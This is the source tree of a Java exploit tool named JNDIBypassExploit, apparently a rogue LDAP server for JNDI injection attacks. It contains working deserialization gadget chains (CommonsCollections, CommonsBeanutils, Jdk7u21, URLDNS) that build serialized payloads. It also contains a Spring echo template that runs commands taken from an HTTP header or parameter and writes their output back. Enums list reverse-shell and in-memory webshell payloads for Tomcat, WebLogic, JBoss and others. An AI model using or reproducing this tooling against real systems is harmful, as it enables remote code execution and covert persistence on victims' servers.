├── target ├── maven-archiver │ └── pom.properties └── maven-status │ └── maven-compiler-plugin │ └── compile │ └── default-compile │ ├── createdFiles.lst │ └── inputFiles.lst ├── src ├── test │ └── java │ │ └── test.groovy └── main │ └── java │ └── com │ └── feihong │ └── ldap │ ├── enumtypes │ ├── WebsphereActionType.java │ ├── GadgetType.java │ └── PayloadType.java │ ├── template │ ├── Template.java │ ├── isOK.java │ ├── MyClassLoader.java │ ├── SpringEchoTemplate.java │ ├── SpringMemshellTemplate.java │ ├── WeblogicEchoTemplate.java │ ├── JBossMemshellTemplate.java │ ├── DynamicInterceptorTemplate.java │ ├── DynamicFilterTemplate.java │ ├── TomcatMemshellTemplate1.java │ ├── TomcatEchoTemplate.java │ ├── CommandTemplate.java │ ├── DnslogTemplate.java │ ├── WeblogicMemshellTemplate2.java │ ├── JettyMemshellTemplate.java │ ├── WebsphereMemshellTemplate.java │ ├── ReverseShellTemplate.java │ ├── WeblogicMemshellTemplate1.java │ └── TomcatMemshellTemplate2.java │ ├── exceptions │ ├── UnSupportedGadgetTypeException.java │ ├── IncorrectParamsException.java │ ├── UnSupportedActionTypeException.java │ └── UnSupportedPayloadTypeException.java │ ├── controllers │ ├── LdapMapping.java │ ├── PropertiesRefAddr.java │ ├── LdapController.java │ ├── GroovyBypassController.java │ ├── SerializedDataController.java │ ├── BasicController.java │ └── WebsphereBypassController.java │ ├── Starter.java │ ├── gadgets │ ├── utils │ │ ├── Util.java │ │ ├── ClassFiles.java │ │ ├── Reflections.java │ │ └── Gadgets.java │ ├── Jdk7u21.java │ ├── URLDNS.java │ ├── CommonsCollectionsK2.java │ ├── CommonsCollectionsK1.java │ ├── CommonsBeanutils1.java │ ├── CommonsBeanutils2.java │ ├── C3P0.java │ ├── CVE_2020_2555.java │ ├── CVE_2020_2883.java │ └── Jre8u20.java │ ├── utils │ ├── MyURLClassLoader.java │ ├── Util.java │ ├── Cache.java │ └── Config.java │ ├── LdapServer.java │ └── LDAPRefServer.java └── .gitignore /target/maven-archiver/pom.properties: -------------------------------------------------------------------------------- 1 | artifactId=JNDIBypassExploit 2 | groupId=org.example 3 | version=1.4-SNAPSHOT 4 | -------------------------------------------------------------------------------- /src/test/java/test.groovy: -------------------------------------------------------------------------------- 1 | class test { 2 | String[] s = new String[[]] 3 | static void main(String[] args) { 4 | 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/WebsphereActionType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum WebsphereActionType { 4 | list, 5 | upload, 6 | rce; 7 | } 8 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/Template.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | public interface Template { 4 | void generate(); 5 | byte[] getBytes(); 6 | void cache(); 7 | String getClassName(); 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedGadgetTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedGadgetTypeException extends RuntimeException { 4 | public UnSupportedGadgetTypeException(){ super();} 5 | public UnSupportedGadgetTypeException(String message){ 6 | super(message); 7 | } 8 | } 9 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/IncorrectParamsException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class IncorrectParamsException extends RuntimeException { 4 | public IncorrectParamsException(){ 5 | super(); 6 | } 7 | public IncorrectParamsException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/GadgetType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum GadgetType { 4 | urldns, 5 | commonsbeanutils1, 6 | commonsbeanutils2, 7 | commonscollectionsk1, 8 | commonscollectionsk2, 9 | jdk7u21, 10 | jre8u20, 11 | c3p0, 12 | cve_2020_2555, 13 | cve_2020_2883; 14 | } 15 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/isOK.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | /** 4 | * @ClassName: isOK 5 | * @Description: TODO 6 | * @Author: Summer 7 | * @Date: 2021/8/1 16:40 8 | * @Version: v1.0.0 9 | * @Description: 10 | **/ 11 | public class isOK { 12 | public isOK(){ 13 | System.out.println("sucess"); 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedActionTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedActionTypeException extends RuntimeException{ 4 | public UnSupportedActionTypeException(){ 5 | super(); 6 | } 7 | public UnSupportedActionTypeException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/exceptions/UnSupportedPayloadTypeException.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.exceptions; 2 | 3 | public class UnSupportedPayloadTypeException extends RuntimeException { 4 | public UnSupportedPayloadTypeException(){ 5 | super(); 6 | } 7 | public UnSupportedPayloadTypeException(String message){ 8 | super(message); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/MyClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | public class MyClassLoader extends ClassLoader { 4 | MyClassLoader(ClassLoader c){super(c);} 5 | 6 | 7 | public static Class defineClass(byte[] bytes, ClassLoader classLoader){ 8 | return new MyClassLoader(classLoader).defineClass(bytes, 0, bytes.length); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/LdapMapping.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import java.lang.annotation.ElementType; 4 | import java.lang.annotation.Retention; 5 | import java.lang.annotation.RetentionPolicy; 6 | import java.lang.annotation.Target; 7 | 8 | @Retention(RetentionPolicy.RUNTIME) 9 | @Target(ElementType.TYPE) 10 | public @interface LdapMapping { 11 | String[] uri(); 12 | } 13 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/enumtypes/PayloadType.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.enumtypes; 2 | 3 | public enum PayloadType { 4 | command, 5 | dnslog, 6 | reverseshell, 7 | tomcatecho, 8 | springecho, 9 | weblogicecho, 10 | tomcatmemshell1, 11 | tomcatmemshell2, 12 | tomcatmemshell3, 13 | weblogicmemshell1, 14 | weblogicmemshell2, 15 | jettymemshell, 16 | jbossmemshell, 17 | webspherememshell, 18 | springmemshell; 19 | 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/Starter.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap; 2 | 3 | import com.feihong.ldap.utils.Config; 4 | import javassist.CannotCompileException; 5 | import javassist.NotFoundException; 6 | 7 | import java.io.IOException; 8 | 9 | public class Starter { 10 | public static void main(String[] args) throws IOException, NotFoundException, CannotCompileException, ClassNotFoundException { 11 | Config.applyCmdArgs(args); 12 | LdapServer.start(); 13 | 14 | HTTPServer.start(); 15 | // LDAPRefServer.main(); 16 | // RMIRefServer.main(); 17 | 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/PropertiesRefAddr.java: -------------------------------------------------------------------------------- 1 | package com.ibm.websphere.client.factory.jdbc; 2 | 3 | import javax.naming.RefAddr; 4 | import java.util.Properties; 5 | 6 | //this is a stub class required by WebSphere2 ldap handler 7 | public class PropertiesRefAddr extends RefAddr { 8 | private static final long serialVersionUID = 288055886942232156L; 9 | private Properties props; 10 | 11 | public PropertiesRefAddr(String addrType, Properties props) { 12 | super(addrType); 13 | this.props = props; 14 | } 15 | 16 | public Object getContent() { 17 | return this.props; 18 | } 19 | } -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/controllers/LdapController.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.controllers; 2 | 3 | import com.feihong.ldap.exceptions.IncorrectParamsException; 4 | import com.feihong.ldap.exceptions.UnSupportedActionTypeException; 5 | import com.feihong.ldap.exceptions.UnSupportedGadgetTypeException; 6 | import com.feihong.ldap.exceptions.UnSupportedPayloadTypeException; 7 | import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; 8 | 9 | public interface LdapController { 10 | void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception; 11 | void process(String base) throws UnSupportedPayloadTypeException, IncorrectParamsException, UnSupportedGadgetTypeException, UnSupportedActionTypeException; 12 | } 13 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ### MySelf 2 | .idea 3 | build/ 4 | gradle 5 | gradlew 6 | gradlew.bat 7 | 8 | .gradle 9 | !gradle/wrapper/gradle-wrapper.jar 10 | !**/src/main/**/build/ 11 | !**/src/test/**/build/ 12 | 13 | ### IntelliJ IDEA ### 14 | .idea/modules.xml 15 | .idea/jarRepositories.xml 16 | .idea/compiler.xml 17 | .idea/libraries/ 18 | *.iws 19 | *.iml 20 | *.ipr 21 | out/ 22 | !**/src/main/**/out/ 23 | !**/src/test/**/out/ 24 | 25 | ### Eclipse ### 26 | .apt_generated 27 | .classpath 28 | .factorypath 29 | .project 30 | .settings 31 | .springBeans 32 | .sts4-cache 33 | bin/ 34 | !**/src/main/**/bin/ 35 | !**/src/test/**/bin/ 36 | 37 | ### NetBeans ### 38 | /nbproject/private/ 39 | /nbbuild/ 40 | /dist/ 41 | /nbdist/ 42 | /.nb-gradle/ 43 | 44 | ### VS Code ### 45 | .vscode/ 46 | 47 | ### Mac OS ### 48 | .DS_Store 49 | 50 | # Compiled class file 51 | *.class 52 | 53 | # Log file 54 | *.log 55 | 56 | # BlueJ files 57 | *.ctxt 58 | 59 | # Mobile Tools for Java (J2ME) 60 | .mtj.tmp/ 61 | 62 | # Package Files # 63 | *.jar 64 | *.war 65 | *.nar 66 | *.ear 67 | *.zip 68 | *.tar.gz 69 | *.rar 70 | 71 | # virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml 72 | hs_err_pid* 73 | replay_pid* 74 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/Util.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | public class Util { 4 | public static byte[] deleteAt(byte[] bs, int index) { 5 | int length = bs.length - 1; 6 | byte[] ret = new byte[length]; 7 | 8 | if(index == bs.length - 1) { 9 | System.arraycopy(bs, 0, ret, 0, length); 10 | } else if(index < bs.length - 1) { 11 | for(int i = index; i < length; i++) { 12 | bs[i] = bs[i + 1]; 13 | } 14 | 15 | System.arraycopy(bs, 0, ret, 0, length); 16 | } 17 | 18 | return ret; 19 | } 20 | 21 | public static byte[] addAtIndex(byte[] bs, int index, byte b) { 22 | int length = bs.length + 1; 23 | byte[] ret = new byte[length]; 24 | 25 | System.arraycopy(bs, 0, ret, 0, index); 26 | ret[index] = b; 27 | System.arraycopy(bs, index, ret, index + 1, length - index - 1); 28 | 29 | return ret; 30 | } 31 | 32 | public static byte[] addAtLast(byte[] bs, byte b) { 33 | int length = bs.length + 1; 34 | byte[] ret = new byte[length]; 35 | 36 | System.arraycopy(bs, 0, ret, 0, length-1); 37 | ret[length - 1] = b; 38 | 39 | return ret; 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | import java.io.ByteArrayOutputStream; 4 | import java.io.IOException; 5 | import java.io.InputStream; 6 | 7 | public class ClassFiles { 8 | public static String classAsFile(final Class clazz) { 9 | return classAsFile(clazz, true); 10 | } 11 | 12 | public static String classAsFile(final Class clazz, boolean suffix) { 13 | String str; 14 | if (clazz.getEnclosingClass() == null) { 15 | str = clazz.getName().replace(".", "/"); 16 | } else { 17 | str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); 18 | } 19 | if (suffix) { 20 | str += ".class"; 21 | } 22 | return str; 23 | } 24 | 25 | public static byte[] classAsBytes(final Class clazz) { 26 | try { 27 | final byte[] buffer = new byte[1024]; 28 | final String file = classAsFile(clazz); 29 | final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); 30 | if (in == null) { 31 | throw new IOException("couldn't find '" + file + "'"); 32 | } 33 | final ByteArrayOutputStream out = new ByteArrayOutputStream(); 34 | int len; 35 | while ((len = in.read(buffer)) != -1) { 36 | out.write(buffer, 0, len); 37 | } 38 | return out.toByteArray(); 39 | } catch (IOException e) { 40 | throw new RuntimeException(e); 41 | } 42 | } 43 | 44 | } 45 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/Jdk7u21.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.Util; 7 | 8 | import javax.xml.transform.Templates; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.ObjectOutputStream; 11 | import java.lang.reflect.InvocationHandler; 12 | import java.util.HashMap; 13 | import java.util.LinkedHashSet; 14 | 15 | public class Jdk7u21 { 16 | 17 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 18 | final Object templates = Gadgets.createTemplatesImpl(type, param); 19 | 20 | String zeroHashCodeStr = "f5a5a608"; 21 | 22 | HashMap map = new HashMap(); 23 | map.put(zeroHashCodeStr, "foo"); 24 | 25 | InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); 26 | Reflections.setFieldValue(tempHandler, "type", Templates.class); 27 | Templates proxy = Gadgets.createProxy(tempHandler, Templates.class); 28 | 29 | LinkedHashSet set = new LinkedHashSet(); // maintain order 30 | set.add(templates); 31 | set.add(proxy); 32 | 33 | Reflections.setFieldValue(templates, "_auxClasses", null); 34 | Reflections.setFieldValue(templates, "_class", null); 35 | 36 | map.put(zeroHashCodeStr, templates); // swap in real object 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(set); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/utils/MyURLClassLoader.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.utils; 2 | 3 | import java.io.File; 4 | import java.lang.reflect.InvocationTargetException; 5 | import java.lang.reflect.Method; 6 | import java.net.MalformedURLException; 7 | import java.net.URL; 8 | import java.net.URLClassLoader; 9 | 10 | public class MyURLClassLoader { 11 | private URLClassLoader classLoader; 12 | 13 | public MyURLClassLoader(String jarName){ 14 | try{ 15 | classLoader = getURLClassLoader(jarName); 16 | }catch(MalformedURLException e){ 17 | e.printStackTrace(); 18 | } 19 | } 20 | 21 | public Class loadClass(String className) { 22 | try{ 23 | //由于我项目中已经有了 commons-beanutils:1.9.4,如果使用 loadClass 方法,加载的是项目 ClassPath 下的 commons-beanutils 24 | //为了避免这种情况,所以调用了 findClass 方法 25 | Method method = URLClassLoader.class.getDeclaredMethod("findClass", new Class[]{String.class}); 26 | method.setAccessible(true); 27 | Class clazz = (Class) method.invoke(this.classLoader, new Object[]{className}); 28 | return clazz; 29 | } catch (NoSuchMethodException e) { 30 | e.printStackTrace(); 31 | } catch (IllegalAccessException e) { 32 | e.printStackTrace(); 33 | } catch (InvocationTargetException e) { 34 | e.printStackTrace(); 35 | } 36 | 37 | return null; 38 | } 39 | 40 | 41 | private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException { 42 | String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; 43 | File file = new File(path); 44 | URL url = file.toURI().toURL(); 45 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); 46 | return urlClassLoader; 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/URLDNS.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.gadgets.utils.Reflections; 4 | import java.io.ByteArrayOutputStream; 5 | import java.io.IOException; 6 | import java.io.ObjectOutputStream; 7 | import java.net.InetAddress; 8 | import java.net.URL; 9 | import java.net.URLConnection; 10 | import java.net.URLStreamHandler; 11 | import java.util.HashMap; 12 | 13 | public class URLDNS { 14 | public static byte[] getBytes(final String url) throws Exception { 15 | 16 | //Avoid DNS resolution during payload creation 17 | //Since the field java.net.URL.handler is transient, it will not be part of the serialized payload. 18 | URLStreamHandler handler = new SilentURLStreamHandler(); 19 | 20 | HashMap ht = new HashMap(); // HashMap that will contain the URL 21 | URL u = new URL(null, url, handler); // URL to use as the Key 22 | ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. 23 | 24 | Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. 25 | 26 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 27 | ObjectOutputStream oos = new ObjectOutputStream(baous); 28 | oos.writeObject(ht); 29 | byte[] bytes = baous.toByteArray(); 30 | oos.close(); 31 | 32 | return bytes; 33 | } 34 | 35 | 36 | static class SilentURLStreamHandler extends URLStreamHandler { 37 | 38 | protected URLConnection openConnection(URL u) throws IOException { 39 | return null; 40 | } 41 | 42 | protected synchronized InetAddress getHostAddress(URL u) { 43 | return null; 44 | } 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import org.apache.commons.collections4.functors.InvokerTransformer; 7 | import org.apache.commons.collections4.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections4.map.LazyMap; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.FileOutputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CommonsCollectionsK2 { 16 | public static void main(String[] args) throws Exception { 17 | byte[] bytes = getBytes(PayloadType.command, "calc"); 18 | FileOutputStream fous = new FileOutputStream("4444.ser"); 19 | fous.write(bytes); 20 | fous.close(); 21 | } 22 | 23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 24 | Object tpl = Gadgets.createTemplatesImpl(type, param); 25 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 26 | 27 | HashMap innerMap = new HashMap(); 28 | Map m = LazyMap.lazyMap(innerMap, transformer); 29 | 30 | Map outerMap = new HashMap(); 31 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 32 | outerMap.put(tied, "t"); 33 | // clear the inner map data, this is important 34 | innerMap.clear(); 35 | 36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(outerMap); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsCollectionsK1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import org.apache.commons.collections.functors.InvokerTransformer; 7 | import org.apache.commons.collections.keyvalue.TiedMapEntry; 8 | import org.apache.commons.collections.map.LazyMap; 9 | import java.io.ByteArrayOutputStream; 10 | import java.io.FileOutputStream; 11 | import java.io.ObjectOutputStream; 12 | import java.util.HashMap; 13 | import java.util.Map; 14 | 15 | public class CommonsCollectionsK1 { 16 | public static void main(String[] args) throws Exception { 17 | byte[] bytes = getBytes(PayloadType.command, "calc"); 18 | FileOutputStream fous = new FileOutputStream("out2222.ser"); 19 | fous.write(bytes); 20 | fous.close(); 21 | } 22 | 23 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 24 | Object tpl = Gadgets.createTemplatesImpl(type, param); 25 | 26 | InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); 27 | HashMap innerMap = new HashMap(); 28 | Map m = LazyMap.decorate(innerMap, transformer); 29 | 30 | Map outerMap = new HashMap(); 31 | TiedMapEntry tied = new TiedMapEntry(m, tpl); 32 | outerMap.put(tied, "t"); 33 | // clear the inner map data, this is important 34 | innerMap.clear(); 35 | 36 | Reflections.setFieldValue(transformer, "iMethodName", "newTransformer"); 37 | 38 | //序列化 39 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 40 | ObjectOutputStream oos = new ObjectOutputStream(baous); 41 | oos.writeObject(outerMap); 42 | byte[] bytes = baous.toByteArray(); 43 | oos.close(); 44 | 45 | return bytes; 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/template/SpringEchoTemplate.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.template; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | import org.springframework.web.context.request.RequestAttributes; 9 | import org.springframework.web.context.request.RequestContextHolder; 10 | import org.springframework.web.context.request.ServletRequestAttributes; 11 | import javax.servlet.http.HttpServletRequest; 12 | import javax.servlet.http.HttpServletResponse; 13 | 14 | public class SpringEchoTemplate extends AbstractTranslet { 15 | public String basicCmdShellPwd; 16 | 17 | public SpringEchoTemplate(){ 18 | try{ 19 | RequestAttributes requestAttributes = RequestContextHolder.getRequestAttributes(); 20 | HttpServletRequest httprequest = ((ServletRequestAttributes) requestAttributes).getRequest(); 21 | HttpServletResponse httpresponse = ((ServletRequestAttributes) requestAttributes).getResponse(); 22 | 23 | String cmd = httprequest.getHeader(basicCmdShellPwd); 24 | if (cmd == null){ 25 | cmd = httprequest.getParameter(basicCmdShellPwd); 26 | } 27 | 28 | if(cmd != null && !cmd.isEmpty()){ 29 | String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); 30 | httpresponse.getWriter().println(res); 31 | } 32 | }catch(Exception e){ 33 | e.printStackTrace(); 34 | } 35 | } 36 | 37 | @Override 38 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { 39 | 40 | } 41 | 42 | @Override 43 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { 44 | 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils1.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.MyURLClassLoader; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.FileOutputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.math.BigInteger; 11 | import java.util.Comparator; 12 | import java.util.PriorityQueue; 13 | 14 | public class CommonsBeanutils1 { 15 | public static void main(String[] args) throws Exception { 16 | byte[] bytes = getBytes(PayloadType.command, "calc"); 17 | FileOutputStream fous = new FileOutputStream("333.ser"); 18 | fous.write(bytes); 19 | fous.close(); 20 | } 21 | 22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 23 | final Object templates = Gadgets.createTemplatesImpl(type, param); 24 | // mock method name until armed 25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.9.2.jar"); 26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"}); 28 | 29 | 30 | // create queue with numbers and basic comparator 31 | final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); 32 | // stub data for replacement later 33 | queue.add(new BigInteger("1")); 34 | queue.add(new BigInteger("1")); 35 | 36 | // switch method called by comparator 37 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 38 | 39 | // switch contents of queue 40 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 41 | queueArray[0] = templates; 42 | queueArray[1] = templates; 43 | 44 | 45 | //序列化 46 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 47 | ObjectOutputStream oos = new ObjectOutputStream(baous); 48 | oos.writeObject(queue); 49 | byte[] bytes = baous.toByteArray(); 50 | oos.close(); 51 | 52 | return bytes; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/CommonsBeanutils2.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets; 2 | 3 | import com.feihong.ldap.enumtypes.PayloadType; 4 | import com.feihong.ldap.gadgets.utils.Gadgets; 5 | import com.feihong.ldap.gadgets.utils.Reflections; 6 | import com.feihong.ldap.utils.MyURLClassLoader; 7 | import java.io.ByteArrayOutputStream; 8 | import java.io.FileOutputStream; 9 | import java.io.ObjectOutputStream; 10 | import java.math.BigInteger; 11 | import java.util.Comparator; 12 | import java.util.PriorityQueue; 13 | 14 | public class CommonsBeanutils2 { 15 | public static void main(String[] args) throws Exception { 16 | byte[] bytes = getBytes(PayloadType.command, "calc"); 17 | FileOutputStream fous = new FileOutputStream("333.ser"); 18 | fous.write(bytes); 19 | fous.close(); 20 | } 21 | 22 | public static byte[] getBytes(PayloadType type, String... param) throws Exception { 23 | final Object templates = Gadgets.createTemplatesImpl(type, param); 24 | // mock method name until armed 25 | MyURLClassLoader classLoader = new MyURLClassLoader("commons-beanutils-1.8.2.jar"); 26 | Class clazz = classLoader.loadClass("org.apache.commons.beanutils.BeanComparator"); 27 | Object comparator = clazz.getDeclaredConstructor(new Class[]{String.class}).newInstance(new Object[]{"lowestSetBit"}); 28 | 29 | 30 | // create queue with numbers and basic comparator 31 | final PriorityQueue queue = new PriorityQueue(2, (Comparator) comparator); 32 | // stub data for replacement later 33 | queue.add(new BigInteger("1")); 34 | queue.add(new BigInteger("1")); 35 | 36 | // switch method called by comparator 37 | Reflections.setFieldValue(comparator, "property", "outputProperties"); 38 | 39 | // switch contents of queue 40 | final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); 41 | queueArray[0] = templates; 42 | queueArray[1] = templates; 43 | 44 | 45 | //序列化 46 | ByteArrayOutputStream baous = new ByteArrayOutputStream(); 47 | ObjectOutputStream oos = new ObjectOutputStream(baous); 48 | oos.writeObject(queue); 49 | byte[] bytes = baous.toByteArray(); 50 | oos.close(); 51 | 52 | return bytes; 53 | } 54 | } 55 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ldap.gadgets.utils; 2 | 3 | import com.nqzero.permit.Permit; 4 | import sun.reflect.ReflectionFactory; 5 | import java.lang.reflect.AccessibleObject; 6 | import java.lang.reflect.Constructor; 7 | import java.lang.reflect.Field; 8 | import java.lang.reflect.InvocationTargetException; 9 | 10 | @SuppressWarnings ( "restriction" ) 11 | public class Reflections { 12 | 13 | public static void setAccessible(AccessibleObject member) { 14 | // quiet runtime warnings from JDK9+ 15 | Permit.setAccessible(member); 16 | } 17 | 18 | public static Field getField(final Class clazz, final String fieldName) { 19 | Field field = null; 20 | try { 21 | field = clazz.getDeclaredField(fieldName); 22 | setAccessible(field); 23 | } 24 | catch (NoSuchFieldException ex) { 25 | if (clazz.getSuperclass() != null) 26 | field = getField(clazz.getSuperclass(), fieldName); 27 | } 28 | return field; 29 | } 30 | 31 | public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { 32 | final Field field = getField(obj.getClass(), fieldName); 33 | field.set(obj, value); 34 | } 35 | 36 | public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { 37 | final Field field = getField(obj.getClass(), fieldName); 38 | return field.get(obj); 39 | } 40 | 41 | public static Constructor getFirstCtor(final String name) throws Exception { 42 | final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; 43 | setAccessible(ctor); 44 | return ctor; 45 | } 46 | 47 | public static Object newInstance(String className, Object ... args) throws Exception { 48 | return getFirstCtor(className).newInstance(args); 49 | } 50 | 51 | public static T createWithoutConstructor ( Class classToInstantiate ) 52 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { 53 | return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); 54 | } 55 | 56 | @SuppressWarnings ( {"unchecked"} ) 57 | public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) 58 | throws NoSuchMethodException, InstantiationException, IllegalAccessException, 